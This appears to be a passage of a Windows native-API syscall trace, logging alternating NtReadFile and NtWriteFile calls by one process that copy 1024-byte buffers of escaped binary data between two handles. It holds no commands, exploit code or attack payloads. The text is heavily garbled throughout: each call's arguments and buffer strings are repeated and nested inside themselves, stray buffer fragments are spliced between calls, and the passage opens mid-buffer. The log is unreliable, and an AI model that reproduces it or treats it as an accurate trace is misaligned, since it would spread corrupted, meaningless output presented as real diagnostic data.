\353J:\260\304\302\355.\213\1\22\232\251\360\214\332\334+\341\243\212X\24\276\17\24=$~(\21X#e\36\340' :\3173\267\20b\377\30NKI\340\252\364R\11\24\325'M8z\212\233\205~`ZIQ2\263\313\342\273{\34\31\263;\240\31z>\33\36\365\312\27\226\335\335#\240M&&\36)n+-\240z\13\30[\3621f\276\370\337\2739f;\240_&?_ LL\37b#\256\344,\241\2s(C#+/\305,r\272\301\3424,7\276#\317\337n36-n7\34L\25\22i!o\256\20\3665=\25/\326\17\237N (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ">76"\353J:\260\304\302\355.\213\1\22\232\251\360\214\332\334+\341\243\212X\24\276\17\24=$~(\21X#e\36\340' :\3173\267\20b\377\30NKI\340\252\364R\11\24\325'M8z\212\233\205~`ZIQ2\263\313\342\273{\34\31\263;\240\31z>\33\36\365\312\27\226\335\335#\240M&&\36)n+-\240z\13\30[\3621f\276\370\337\2739f;\240_&?_ LL\37b#\256\344,\241\2s(C#+/\305,r\272\301\3424,7\276#\317\337n36-n7\34L\25\22i!o\256\20\3665=\25/\326\17\237N"\204\237b1\236a4\235d7\234k:\221\234o>\247I\34\211L\37\260s"\211\250w&\257z)\252y,Q\302g410`$\276\357\274\273;\177\373H4&o\363\270\34[\37Ytt\250,\221\2C(6}\240\322\256.\346\317\2\362\301\232\302\347\177i\321\244:3\266\356\273\22\225\33\215\36<\240.\10\335\256\347\254(\336\241\321d\355&Mw\251\322ycP>'\273\376h^,2\273_\232\314\34CD\177\221#}\304b\255\2442\213m\27\256^\242\13\4A2\313\6\365hn9\226\314<2>0\33\23\22\36\20 ."<\201\324\316K$.\25\2179\355Y\216%a\332\365\347\224\37\237,y\322\313\34\235\226+yB\275\22\222\256\\2027@[gjIW\202\12\255\205:\322\276\223&k\331TH\23001\372/!\371*0RS\11\220K!h\2233%ld\317\313.\2569\247M> `\3311\360o\31650\251w{\23v,S\3354\374l\25/\10\252o+D\25\255\341\7\326z\271(\257\1\34\360\371\35\215\233\374\31&\306\26\271\3274\373)\12\220J\30\334\0\255\301", ) \211\250w&\257z)\252y,Q\302g410`$\276\357\274\273;\177\373H4&o\363\270\34[\37Ytt\250,\221\2C(6}\240\322\256.\346\317\2\362\301\232\302\347\177i\321\244:3\266\356\273\22\225\33\215\36<\240.\10\335\256\347\254(\336\241\321d\355&Mw\251\322ycP>'\273\376h^,2\273_\232\314\34CD\177\221#}\304b\255\2442\213m\27\256^\242\13\4A2\313\6\365hn9\226\314<2>0\33\23\22\36\20 . (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ">76"\353J:\260\304\302\355.\213\1\22\232\251\360\214\332\334+\341\243\212X\24\276\17\24=$~(\21X#e\36\340' :\3173\267\20b\377\30NKI\340\252\364R\11\24\325'M8z\212\233\205~`ZIQ2\263\313\342\273{\34\31\263;\240\31z>\33\36\365\312\27\226\335\335#\240M&&\36)n+-\240z\13\30[\3621f\276\370\337\2739f;\240_&?_ LL\37b#\256\344,\241\2s(C#+/\305,r\272\301\3424,7\276#\317\337n36-n7\34L\25\22i!o\256\20\3665=\25/\326\17\237N"\204\237b1\236a4\235d7\234k:\221\234o>\247I\34\211L\37\260s"\211\250w&\257z)\252y,Q\302g410`$\276\357\274\273;\177\373H4&o\363\270\34[\37Ytt\250,\221\2C(6}\240\322\256.\346\317\2\362\301\232\302\347\177i\321\244:3\266\356\273\22\225\33\215\36<\240.\10\335\256\347\254(\336\241\321d\355&Mw\251\322ycP>'\273\376h^,2\273_\232\314\34CD\177\221#}\304b\255\2442\213m\27\256^\242\13\4A2\313\6\365hn9\226\314<2>0\33\23\22\36\20 ."<\201\324\316K$.\25\2179\355Y\216%a\332\365\347\224\37\237,y\322\313\34\235\226+yB\275\22\222\256\\2027@[gjIW\202\12\255\205:\322\276\223&k\331TH\23001\372/!\371*0RS\11\220K!h\2233%ld\317\313.\2569\247M> `\3311\360o\31650\251w{\23v,S\3354\374l\25/\10\252o+D\25\255\341\7\326z\271(\257\1\34\360\371\35\215\233\374\31&\306\26\271\3274\373)\12\220J\30\334\0\255\301", ) , ) == 0x0
 01163  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "V\265\311q(\306\12'\240\254\246,*9\20|\24\370\336Q+\30\09;\234[\2269#\206Y\6!HN\347\201\7\261\357j\12\\356\376Y""\2725\326\17Sq\207\220HyNLxp\255\0\302v\212f\313\315\27\303\202\253g\250*5\13*\334\317DWR\344b\341\22W\356t\25"\23M$\252\27h\340C?\374\226+\343$jCW1\26\225]\212I\373cPZi\24\353\257Zq\251\31575>zT\3\36\207\313\313\245\225\245\212\370f\243I&M%\264y\265\313\13-\223\255q\31[3\367\305\331]\341%X")D\361<\360>En<\36\367\221$a\362{\372\343a\313\215\266\31\24h\313\206je\32e\365*\222=?\205\34\15\305\215\326\266n\253B\340Nr\16\321\3610\277Z\2457U`\312WPK\300\31\315H\16\240\362\201X4\354\276\375\2303\15}\342\255\272lU\3258*|\345\6/\357\27m{O\350\321\325\376\31`\263\213\\353 \255\213 3*\255\11\35E>\34\366t\16\320\201I\364R\301\301-\17=\272$@gD\25{\7\340\226\31\205\277\320V\306\273\230)\206HL\210P\16#5\14\204\377\16\277\330\300\252\37\312n\332(J\37D\21K/-y\322\320\352Q\247\2\226\24>Akk&pnk\243\252O)m\262\245\361TP\1\2304n\231\373\21\304\246\257Ai\203\234\10\34\230\341\177.N^ne\205$-K\3467\4\3252}\0\273\15*\344\277m\260p\2715\354\307O\257d\2241OG\21\234\311\24g^\323\13/9\14\241\374\240\\303\243J?\13\12\177l\34\311\330\323\227F\375m\245\243\35Y\250\243\27\212\253\325:\1\336t\366\247\207\313\25\177\351;\373~\371\206\373d\246\225v\242[\312\367\24v", 1024, 0x0, 0, ... {status=0x0, info=1024}, )  (92, 0, 0, 0, "V\265\311q(\306\12'\240\254\246,*9\20|\24\370\336Q+\30\09;\234[\2269#\206Y\6!HN\347\201\7\261\357j\12\\356\376Y""\2725\326\17Sq\207\220HyNLxp\255\0\302v\212f\313\315\27\303\202\253g\250*5\13*\334\317DWR\344b\341\22W\356t\25"\23M$\252\27h\340C?\374\226+\343$jCW1\26\225]\212I\373cPZi\24\353\257Zq\251\31575>zT\3\36\207\313\313\245\225\245\212\370f\243I&M%\264y\265\313\13-\223\255q\31[3\367\305\331]\341%X")D\361<\360>En<\36\367\221$a\362{\372\343a\313\215\266\31\24h\313\206je\32e\365*\222=?\205\34\15\305\215\326\266n\253B\340Nr\16\321\3610\277Z\2457U`\312WPK\300\31\315H\16\240\362\201X4\354\276\375\2303\15}\342\255\272lU\3258*|\345\6/\357\27m{O\350\321\325\376\31`\263\213\\353 \255\213 3*\255\11\35E>\34\366t\16\320\201I\364R\301\301-\17=\272$@gD\25{\7\340\226\31\205\277\320V\306\273\230)\206HL\210P\16#5\14\204\377\16\277\330\300\252\37\312n\332(J\37D\21K/-y\322\320\352Q\247\2\226\24>Akk&pnk\243\252O)m\262\245\361TP\1\2304n\231\373\21\304\246\257Ai\203\234\10\34\230\341\177.N^ne\205$-K\3467\4\3252}\0\273\15*\344\277m\260p\2715\354\307O\257d\2241OG\21\234\311\24g^\323\13/9\14\241\374\240\\303\243J?\13\12\177l\34\311\330\323\227F\375m\245\243\35Y\250\243\27\212\253\325:\1\336t\366\247\207\313\25\177\351;\373~\371\206\373d\246\225v\242[\312\367\24v", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \23M$\252\27h\340C?\374\226+\343$jCW1\26\225]\212I\373cPZi\24\353\257Zq\251\31575>zT\3\36\207\313\313\245\225\245\212\370f\243I&M%\264y\265\313\13-\223\255q\31[3\367\305\331]\341%X (92, 0, 0, 0, "V\265\311q(\306\12'\240\254\246,*9\20|\24\370\336Q+\30\09;\234[\2269#\206Y\6!HN\347\201\7\261\357j\12\\356\376Y""\2725\326\17Sq\207\220HyNLxp\255\0\302v\212f\313\315\27\303\202\253g\250*5\13*\334\317DWR\344b\341\22W\356t\25"\23M$\252\27h\340C?\374\226+\343$jCW1\26\225]\212I\373cPZi\24\353\257Zq\251\31575>zT\3\36\207\313\313\245\225\245\212\370f\243I&M%\264y\265\313\13-\223\255q\31[3\367\305\331]\341%X")D\361<\360>En<\36\367\221$a\362{\372\343a\313\215\266\31\24h\313\206je\32e\365*\222=?\205\34\15\305\215\326\266n\253B\340Nr\16\321\3610\277Z\2457U`\312WPK\300\31\315H\16\240\362\201X4\354\276\375\2303\15}\342\255\272lU\3258*|\345\6/\357\27m{O\350\321\325\376\31`\263\213\\353 \255\213 3*\255\11\35E>\34\366t\16\320\201I\364R\301\301-\17=\272$@gD\25{\7\340\226\31\205\277\320V\306\273\230)\206HL\210P\16#5\14\204\377\16\277\330\300\252\37\312n\332(J\37D\21K/-y\322\320\352Q\247\2\226\24>Akk&pnk\243\252O)m\262\245\361TP\1\2304n\231\373\21\304\246\257Ai\203\234\10\34\230\341\177.N^ne\205$-K\3467\4\3252}\0\273\15*\344\277m\260p\2715\354\307O\257d\2241OG\21\234\311\24g^\323\13/9\14\241\374\240\\303\243J?\13\12\177l\34\311\330\323\227F\375m\245\243\35Y\250\243\27\212\253\325:\1\336t\366\247\207\313\25\177\351;\373~\371\206\373d\246\225v\242[\312\367\24v", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01164  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "5\10\256~$\246\3\243\2607\271t!_<=\3700v\303H4W\341l\35\35\366>\301&\3'e\256\23\270\244\276\17\30\255\203~b\26161\26040\307\273\307\305\344;\3429\356\34\335=\6\367\233\300\240\354">\254n\315\12\222\334#\25\356@>\3207Dxjy\30h?\324?\330=D\375\37e\256\367\333\375\336s\253\345%%\351*J|z}\306{\322=\3422@-<\210\34\275\267;\221\275J\33\7\231\353k\6 \256*s\257"/\260Hvt\250,\351"\354\275u\26;d66\16y|t?\204\276\340$\33_\234\337?\201&""%\245f\320\311\242,\240`\11.'\361\333 \2760\265\273\264\3741:\13$[\267{\178Y\37#r!2\7B\342&c\141(+-\322\373n1m$\270\260\21\366\374S\232=V>T=\33>9\36! =2#'\3323\27\364)(*\247\335\255\321\317D29\\2608\20t9\35\10\312\270\3677o\12\226_N0q\253\22{\343\23\206/\2\244\332\2\215(:\323i=\370\325;v>?\371;\262=\375S]s\317@p\36(\3\251\302"9$W\351\272;j6\244/\354\221\272\365<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*\324#-!/?1=3;597795;\3032>0\33\23\35\21\37/!-#+%)'\327&*$,". 0\07G\35\351\336\200\3512\213&\274\230\340\2772\377\36\234\321p \246\343Q\340y'N\240.\245\304\207/+00m65z\371-795;\374&&\263\327\7\5\225\337;\301\22\322\225".\317`\351\5\336\314>\36\300\271l\316s\277p\312\366\320)\272", ) >\254n\315\12\222\334#\25\356@>\3207Dxjy\30h?\324?\330=D\375\37e\256\367\333\375\336s\253\345%%\351*J|z}\306{\322=\3422@-<\210\34\275\267;\221\275J\33\7\231\353k\6 \256*s\257 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "5\10\256~$\246\3\243\2607\271t!_<=\3700v\303H4W\341l\35\35\366>\301&\3'e\256\23\270\244\276\17\30\255\203~b\26161\26040\307\273\307\305\344;\3429\356\34\335=\6\367\233\300\240\354">\254n\315\12\222\334#\25\356@>\3207Dxjy\30h?\324?\330=D\375\37e\256\367\333\375\336s\253\345%%\351*J|z}\306{\322=\3422@-<\210\34\275\267;\221\275J\33\7\231\353k\6 \256*s\257"/\260Hvt\250,\351"\354\275u\26;d66\16y|t?\204\276\340$\33_\234\337?\201&""%\245f\320\311\242,\240`\11.'\361\333 \2760\265\273\264\3741:\13$[\267{\178Y\37#r!2\7B\342&c\141(+-\322\373n1m$\270\260\21\366\374S\232=V>T=\33>9\36! =2#'\3323\27\364)(*\247\335\255\321\317D29\\2608\20t9\35\10\312\270\3677o\12\226_N0q\253\22{\343\23\206/\2\244\332\2\215(:\323i=\370\325;v>?\371;\262=\375S]s\317@p\36(\3\251\302"9$W\351\272;j6\244/\354\221\272\365<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*\324#-!/?1=3;597795;\3032>0\33\23\35\21\37/!-#+%)'\327&*$,". 0\07G\35\351\336\200\3512\213&\274\230\340\2772\377\36\234\321p \246\343Q\340y'N\240.\245\304\207/+00m65z\371-795;\374&&\263\327\7\5\225\337;\301\22\322\225".\317`\351\5\336\314>\36\300\271l\316s\277p\312\366\320)\272", ) \354\275u\26;d66\16y|t?\204\276\340$\33_\234\337?\201&" (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "5\10\256~$\246\3\243\2607\271t!_<=\3700v\303H4W\341l\35\35\366>\301&\3'e\256\23\270\244\276\17\30\255\203~b\26161\26040\307\273\307\305\344;\3429\356\34\335=\6\367\233\300\240\354">\254n\315\12\222\334#\25\356@>\3207Dxjy\30h?\324?\330=D\375\37e\256\367\333\375\336s\253\345%%\351*J|z}\306{\322=\3422@-<\210\34\275\267;\221\275J\33\7\231\353k\6 \256*s\257"/\260Hvt\250,\351"\354\275u\26;d66\16y|t?\204\276\340$\33_\234\337?\201&""%\245f\320\311\242,\240`\11.'\361\333 \2760\265\273\264\3741:\13$[\267{\178Y\37#r!2\7B\342&c\141(+-\322\373n1m$\270\260\21\366\374S\232=V>T=\33>9\36! =2#'\3323\27\364)(*\247\335\255\321\317D29\\2608\20t9\35\10\312\270\3677o\12\226_N0q\253\22{\343\23\206/\2\244\332\2\215(:\323i=\370\325;v>?\371;\262=\375S]s\317@p\36(\3\251\302"9$W\351\272;j6\244/\354\221\272\365<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*\324#-!/?1=3;597795;\3032>0\33\23\35\21\37/!-#+%)'\327&*$,". 0\07G\35\351\336\200\3512\213&\274\230\340\2772\377\36\234\321p \246\343Q\340y'N\240.\245\304\207/+00m65z\371-795;\374&&\263\327\7\5\225\337;\301\22\322\225".\317`\351\5\336\314>\36\300\271l\316s\277p\312\366\320)\272", ) 9$W\351\272;j6\244/\354\221\272\365<4:6886:4<2>\300\24\34\22\36\20 . (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "5\10\256~$\246\3\243\2607\271t!_<=\3700v\303H4W\341l\35\35\366>\301&\3'e\256\23\270\244\276\17\30\255\203~b\26161\26040\307\273\307\305\344;\3429\356\34\335=\6\367\233\300\240\354">\254n\315\12\222\334#\25\356@>\3207Dxjy\30h?\324?\330=D\375\37e\256\367\333\375\336s\253\345%%\351*J|z}\306{\322=\3422@-<\210\34\275\267;\221\275J\33\7\231\353k\6 \256*s\257"/\260Hvt\250,\351"\354\275u\26;d66\16y|t?\204\276\340$\33_\234\337?\201&""%\245f\320\311\242,\240`\11.'\361\333 \2760\265\273\264\3741:\13$[\267{\178Y\37#r!2\7B\342&c\141(+-\322\373n1m$\270\260\21\366\374S\232=V>T=\33>9\36! =2#'\3323\27\364)(*\247\335\255\321\317D29\\2608\20t9\35\10\312\270\3677o\12\226_N0q\253\22{\343\23\206/\2\244\332\2\215(:\323i=\370\325;v>?\371;\262=\375S]s\317@p\36(\3\251\302"9$W\351\272;j6\244/\354\221\272\365<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*\324#-!/?1=3;597795;\3032>0\33\23\35\21\37/!-#+%)'\327&*$,". 0\07G\35\351\336\200\3512\213&\274\230\340\2772\377\36\234\321p \246\343Q\340y'N\240.\245\304\207/+00m65z\371-795;\374&&\263\327\7\5\225\337;\301\22\322\225".\317`\351\5\336\314>\36\300\271l\316s\277p\312\366\320)\272", ) . 0\07G\35\351\336\200\3512\213&\274\230\340\2772\377\36\234\321p \246\343Q\340y'N\240.\245\304\207/+00m65z\371-795;\374&&\263\327\7\5\225\337;\301\22\322\225 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "5\10\256~$\246\3\243\2607\271t!_<=\3700v\303H4W\341l\35\35\366>\301&\3'e\256\23\270\244\276\17\30\255\203~b\26161\26040\307\273\307\305\344;\3429\356\34\335=\6\367\233\300\240\354">\254n\315\12\222\334#\25\356@>\3207Dxjy\30h?\324?\330=D\375\37e\256\367\333\375\336s\253\345%%\351*J|z}\306{\322=\3422@-<\210\34\275\267;\221\275J\33\7\231\353k\6 \256*s\257"/\260Hvt\250,\351"\354\275u\26;d66\16y|t?\204\276\340$\33_\234\337?\201&""%\245f\320\311\242,\240`\11.'\361\333 \2760\265\273\264\3741:\13$[\267{\178Y\37#r!2\7B\342&c\141(+-\322\373n1m$\270\260\21\366\374S\232=V>T=\33>9\36! =2#'\3323\27\364)(*\247\335\255\321\317D29\\2608\20t9\35\10\312\270\3677o\12\226_N0q\253\22{\343\23\206/\2\244\332\2\215(:\323i=\370\325;v>?\371;\262=\375S]s\317@p\36(\3\251\302"9$W\351\272;j6\244/\354\221\272\365<4:6886:4<2>\300\24\34\22\36\20 .",$*&((&*\324#-!/?1=3;597795;\3032>0\33\23\35\21\37/!-#+%)'\327&*$,". 0\07G\35\351\336\200\3512\213&\274\230\340\2772\377\36\234\321p \246\343Q\340y'N\240.\245\304\207/+00m65z\371-795;\374&&\263\327\7\5\225\337;\301\22\322\225".\317`\351\5\336\314>\36\300\271l\316s\277p\312\366\320)\272", ) , ) == 0x0
 01165  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\313\311\352\224\363!h\37\264\363\331\302\357\24Gr\262$\313X\372\274\301\361S\256\230P%.\302\337\226.\201c_\273\335\303\202\227)\332\300N\373T\242\21x.\320\30%\30\351\250\302[q\234\227\342\16\366\17p(\372ko\251\372\236\301\304EV\7\271\333((\311H\330\273\244\244\1v]U\17QN\342A\13L7|h5\334\3674\25\11\337(!\321'n]\227\373\327\177\251\345\305\332f\346\310#\363j%\205$u\366P\217\260\237\26\344l\301"\205\371~\370w1\345\11l\215S\354\247Pi\324v\335\373L0\233w\36~\241\336\337\267\355%l\246_\324\357P{\27\35\256+\311\311\6\363\11\6\375\13\20\335\332\223\324\3g\333\371N\221\230vw=\315\365\275\304\316\260=V\300\6T4\27i\23\370\365\333[3]\326\213\2163\260K0\237\210\310\347\357\207\315\2015\247\27\264\352\220\301\26/\202:\32\224\13)\350\233a\345\356\2\362\331\306]\305\267\240\226"n\260\12TY\237\323\370\200\214A\251\200>\334\21\350\335\3549VHoW\15\7\220\270\356\362I\312\333\361\304t0\27\335\367;\201\343\264\222"esj\276\261\335W}\362\35{\240f\2\347='\317\33WQ\255F\213R\20b\314'\311\276\216\303\230\252\252\214\377\341\222\374\241\215\325\340S\20\300\246c9\234\364\372\310\33xt\2631\216i\316\217\262h", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \205\371~\370w1\345\11l\215S\354\247Pi\324v\335\373L0\233w\36~\241\336\337\267\355%l\246_\324\357P{\27\35\256+\311\311\6\363\11\6\375\13\20\335\332\223\324\3g\333\371N\221\230vw=\315\365\275\304\316\260=V\300\6T4\27i\23\370\365\333[3]\326\213\2163\260K0\237\210\310\347\357\207\315\2015\247\27\264\352\220\301\26/\202:\32\224\13)\350\233a\345\356\2\362\331\306]\305\267\240\226374\233U\345IEu\356C\265\243\27\220?\200\250-F9\22\217\220vU\275\33HK\347\364\36\36\253\12<\241\26h\216\2706\231\34=&\203\330!\336JH\34|\313I\31i\345NSP\247\232X\11\14\347B\373&e\27\273\2\352\362\333\32\227\16\360\222\270\253\241M\0)&2\375\177\364z\344J,\207;C\10(\7\301g\362\14\231X (92, 0, 0, 0, "\313\311\352\224\363!h\37\264\363\331\302\357\24Gr\262$\313X\372\274\301\361S\256\230P%.\302\337\226.\201c_\273\335\303\202\227)\332\300N\373T\242\21x.\320\30%\30\351\250\302[q\234\227\342\16\366\17p(\372ko\251\372\236\301\304EV\7\271\333((\311H\330\273\244\244\1v]U\17QN\342A\13L7|h5\334\3674\25\11\337(!\321'n]\227\373\327\177\251\345\305\332f\346\310#\363j%\205$u\366P\217\260\237\26\344l\301"\205\371~\370w1\345\11l\215S\354\247Pi\324v\335\373L0\233w\36~\241\336\337\267\355%l\246_\324\357P{\27\35\256+\311\311\6\363\11\6\375\13\20\335\332\223\324\3g\333\371N\221\230vw=\315\365\275\304\316\260=V\300\6T4\27i\23\370\365\333[3]\326\213\2163\260K0\237\210\310\347\357\207\315\2015\247\27\264\352\220\301\26/\202:\32\224\13)\350\233a\345\356\2\362\331\306]\305\267\240\226"n\260\12TY\237\323\370\200\214A\251\200>\334\21\350\335\3549VHoW\15\7\220\270\356\362I\312\333\361\304t0\27\335\367;\201\343\264\222"esj\276\261\335W}\362\35{\240f\2\347='\317\33WQ\255F\213R\20b\314'\311\276\216\303\230\252\252\214\377\341\222\374\241\215\325\340S\20\300\246c9\234\364\372\310\33xt\2631\216i\316\217\262h", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) esj\276\261\335W}\362\35{\240f\2\347='\317\33WQ\255F\213R\20b\314'\311\276\216\303\230\252\252\214\377\341\222\374\241\215\325\340S\20\300\246c9\234\364\372\310\33xt\2631\216i\316\217\262h", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01166  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\276?g\235\206\3\343\207\6w\351\307C\226\10\224\16\237\14\254\360\226aAo\10\367$\262\271\267\232P\203\252\3347T\305\327wH\336*\321,*\231'`#\241k \246\377\2420M\26+\277\5\367\336:9\311\236\267\367\275\336\30\357=\272J\253\14\346\303&\332\363&(*@-F,D-\330\263\312\3230\276\316\264\307\306*>2]!:\11\31\25\34N\244IvB\260w\316\\377\270(\1 \212k\325\3u.\26064\3367j\340\304\304z\276\300//`\254\336\303\344\363\25\3638o3;\300\2558\22N/\234$E\21\332\215\27\2054D2\351\252\353?\277&3[\345\251\35\314\240\22\331\243\275\344\204s\250\32+h\5\251\26\3717\6\361\20\366\357\267\3/\370\3322\270N?\16\2354\334x_F\246/\366\320$\277:\350\313%lH\344,\367a\305\342\277\355\266\257\342\271\247g0\31*W\231\30L\316S`\24\342\26\247\335\331S\30\333(\33Pl\36V\24)\271\261\225\324V\310\262\354\332:)\334?/\220\222\214\30\375\241\263$\343Q\205\364%\350P\250)\346v?-7\225s\262\360\2073\350)\2425;\324-?OK\20\257\14\32p r\246\311Qo3,};/~\220>+F\20\26\2027\2444\266J\243\312$\374m\301*\23\307\37\237\0\257%\6\237\34\244"R9k&\335\364-5\357\24\364\261\363d\276\224\337\2360\3440\276"\3018\24\34\325&\16 \255B#$.\247\37\306\326\352\357Y\363-_\11\342>\314%\306'1\3328\2124\216U\277/\334\31|\37n\21\333\6`\205u\225xA\276{-\305\376\256!\204x6\334-\20678\13:9\An5\234\255\20>\23\262,'\6Q\11\15'\34)-{ {\316", ) R9k&\335\364-5\357\24\364\261\363d\276\224\337\2360\3440\276 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\276?g\235\206\3\343\207\6w\351\307C\226\10\224\16\237\14\254\360\226aAo\10\367$\262\271\267\232P\203\252\3347T\305\327wH\336*\321,*\231'`#\241k \246\377\2420M\26+\277\5\367\336:9\311\236\267\367\275\336\30\357=\272J\253\14\346\303&\332\363&(*@-F,D-\330\263\312\3230\276\316\264\307\306*>2]!:\11\31\25\34N\244IvB\260w\316\\377\270(\1 \212k\325\3u.\26064\3367j\340\304\304z\276\300//`\254\336\303\344\363\25\3638o3;\300\2558\22N/\234$E\21\332\215\27\2054D2\351\252\353?\277&3[\345\251\35\314\240\22\331\243\275\344\204s\250\32+h\5\251\26\3717\6\361\20\366\357\267\3/\370\3322\270N?\16\2354\334x_F\246/\366\320$\277:\350\313%lH\344,\367a\305\342\277\355\266\257\342\271\247g0\31*W\231\30L\316S`\24\342\26\247\335\331S\30\333(\33Pl\36V\24)\271\261\225\324V\310\262\354\332:)\334?/\220\222\214\30\375\241\263$\343Q\205\364%\350P\250)\346v?-7\225s\262\360\2073\350)\2425;\324-?OK\20\257\14\32p r\246\311Qo3,};/~\220>+F\20\26\2027\2444\266J\243\312$\374m\301*\23\307\37\237\0\257%\6\237\34\244"R9k&\335\364-5\357\24\364\261\363d\276\224\337\2360\3440\276"\3018\24\34\325&\16 \255B#$.\247\37\306\326\352\357Y\363-_\11\342>\314%\306'1\3328\2124\216U\277/\334\31|\37n\21\333\6`\205u\225xA\276{-\305\376\256!\204x6\334-\20678\13:9\An5\234\255\20>\23\262,'\6Q\11\15'\34)-{ {\316", ) , ) == 0x0
 01167  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\30\300\362\3%\370.\17\361\314\216Mh\313\363rX\255\177sr'P\333A\201/\23$1\235L\317\204Q\313\261\233!\243=m\356\377txt\210\6\367\242\213\212\27\273\17\316}\231C\211\322\274odu7\325_\353\177\6zh\373\206bc\222\354\340dG\373\300\204\343|eq\350N\32\212\312p\262@\351C\277\337\315\237\273$\337;[I,\305Mn\363t\35/\21\345\200\263q\360\217\25L\375D\3475\214\272\2\373}\331\20\7\1T\307\3059\355\272\365%\237[\371F\362\275y\274rqr\7\265I\270\333\208Zj\205z\31\373\232E\317\323q\337\367\326e\303\306\310i\331[\273\205\251\211\341m\267\270 \251\231y\317\264\350\177\226X\360o\277o\276\355\214\330q\337\353\327\260u{\372\1~\327\372\300\266L\253\361\250\327M\250MpM\4\69\27'1\35\301\337B0\274H\10\242\227~\355\327\26\332\264\260\20\334\375\321\306\346\357\4\371\367\233\255,\30\23\314\326'I\261\26\320\265\221*?\274\356\357\343\7"\210^\250h^\272\370\231B\370\373\372\273I\321\15[\23h(\1\230vX\357\223\304\341\310\267\231\\\32\3034\205c\355\366\351\233\3172\226\372bzUc\355\177\326\374L\25\233\274\206\275\2208+\213J \304", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 'I\261\26\320\265\221*?\274\356\357\343\7 (92, 0, 0, 0, "\30\300\362\3%\370.\17\361\314\216Mh\313\363rX\255\177sr'P\333A\201/\23$1\235L\317\204Q\313\261\233!\243=m\356\377txt\210\6\367\242\213\212\27\273\17\316}\231C\211\322\274odu7\325_\353\177\6zh\373\206bc\222\354\340dG\373\300\204\343|eq\350N\32\212\312p\262@\351C\277\337\315\237\273$\337;[I,\305Mn\363t\35/\21\345\200\263q\360\217\25L\375D\3475\214\272\2\373}\331\20\7\1T\307\3059\355\272\365%\237[\371F\362\275y\274rqr\7\265I\270\333\208Zj\205z\31\373\232E\317\323q\337\367\326e\303\306\310i\331[\273\205\251\211\341m\267\270 \251\231y\317\264\350\177\226X\360o\277o\276\355\214\330q\337\353\327\260u{\372\1~\327\372\300\266L\253\361\250\327M\250MpM\4\69\27'1\35\301\337B0\274H\10\242\227~\355\327\26\332\264\260\20\334\375\321\306\346\357\4\371\367\233\255,\30\23\314\326'I\261\26\320\265\221*?\274\356\357\343\7"\210^\250h^\272\370\231B\370\373\372\273I\321\15[\23h(\1\230vX\357\223\304\341\310\267\231\\\32\3034\205c\355\366\351\233\3172\226\372bzUc\355\177\326\374L\25\233\274\206\275\2208+\213J \304", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \231\\\32\3034\205c\355\366\351\233\3172\226\372bzUc\355\177\326\374L\25\233\274\206\275\2208+\213J \304", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01168  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "7dgi9eC}\254\33?c,]\15w``\275q\333%\365\244\3219\2`s;(/\210S"\333\242U2d:l\352>k\266\270\246\33\37\5\224\227<\21\5c\274I\255:\242\271\353\22\1\14\273\244\246\254bh057\307+\12\372\266@\31>/\350\267M\225\235\205!\360 T\177\331\330\241U\163(X#O\21\2\362h\265\3613\267.\372Z\26pW:oq$\37HH\0\344\306\257\16!\255\253\201\310 \240\1\254\274~\321\247R\323\242u\311\342\263\245\36\227\3741\26~Z\210\177\227C\4E\342+\264*j\247'\240\253$\17u1o\145\271;t4>\274$h"ymfp~\21\237\365\36\337!U;kP#g=\351ekk<\36\356\350q)rl\367\271\216\7p\2w4o\266b?0\34J\233\304/\245\22#\14\25&\13\327<\250\7\)H\246t\25,C"U*](ii\3339]?\27\30|\34\16\13\254oJ\314\34577\3yB\223\275(\307\2110t3*\0\344lgij*>|}.?\30\343\10:\316"<\24!\334%\214$\15+\216\11.\314J+\311\2\3f\247\246\3370\271\109OY:\352N*\37\336'"}\20!\230\21$\226\275\221\37\17x\34\25>2\277c\37`\267\2\250o>{46)m\37\2066>\367\225&\334\334'5\256\273l\15\16+%\305\215)0"v3\20\25\275{\34-z\270\34\372\32\4\332\225\235\30\20\242!\302\335\333\332\255K\14\1\32~\3238b\257y\261e\37\363\177\2625!\306:;\324Q?$\227\24I\336;>s\3356\4\205&\307)\13f\33)\35\306\253Ay\312\2606\374\346\260\265\255\36\213:=\276=\351\262\352\3174\331\301\17", ) \333\242U2d:l\352>k\266\270\246\33\37\5\224\227<\21\5c\274I\255:\242\271\353\22\1\14\273\244\246\254bh057\307+\12\372\266@\31>/\350\267M\225\235\205!\360 T\177\331\330\241U\163(X#O\21\2\362h\265\3613\267.\372Z\26pW:oq$\37HH\0\344\306\257\16!\255\253\201\310 